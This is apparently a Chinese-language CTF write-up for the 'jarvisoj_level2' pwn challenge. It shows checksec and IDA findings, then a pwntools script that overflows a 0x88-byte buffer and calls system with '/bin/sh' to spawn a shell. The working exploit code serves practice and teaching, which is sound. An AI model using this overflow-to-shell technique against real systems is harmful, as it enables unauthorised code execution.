Share this post on:

jarvisoj_level2

来源

checksec一下:

image-20220317221002052

ida查看:

  • 有system函数

image-20220317221150717

  • 在看看有没有/bin/sh

    image-20220317221248479

    system和/bin/sh都有,再看buf的大小是0x88而我们可写入的大小是0x100,则可造成溢出

    image-20220317221340260

编写exp:

#!/usr/bin/env python2
from telnetlib import EL
from pwn import *

# r = remote('node4.buuoj.cn', 26155)
r=process('./jarvisoj_level2')

elf=ELF('./jarvisoj_level2')
context(os='linux',arch='i386',log_level='debug')

gdb.attach(r)

binsh = 0x0804A024
system = 0x08048320
payload = 'a'*(0x88+4)+p32(system)+p32(0x804844B)+p32(binsh) 
#这里中间加一个0x804844B是因为调用一个函数后,需要设置一个返回地址(规则就是这样),在加上参数
#并且如果调用的system函数,那么即使返回了也不能继续执行代码了(都已经拿到shell了,也没必要继续执行了是吧)
#但可以用这种方法构造ROP链,控制函数的运行流程,到达自己想要的目的

r.sendlineafter("Input:\n",payload)

r.interactive()

为什么要设置返回地址也可以参考这个概念

image-20220317222121222

Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注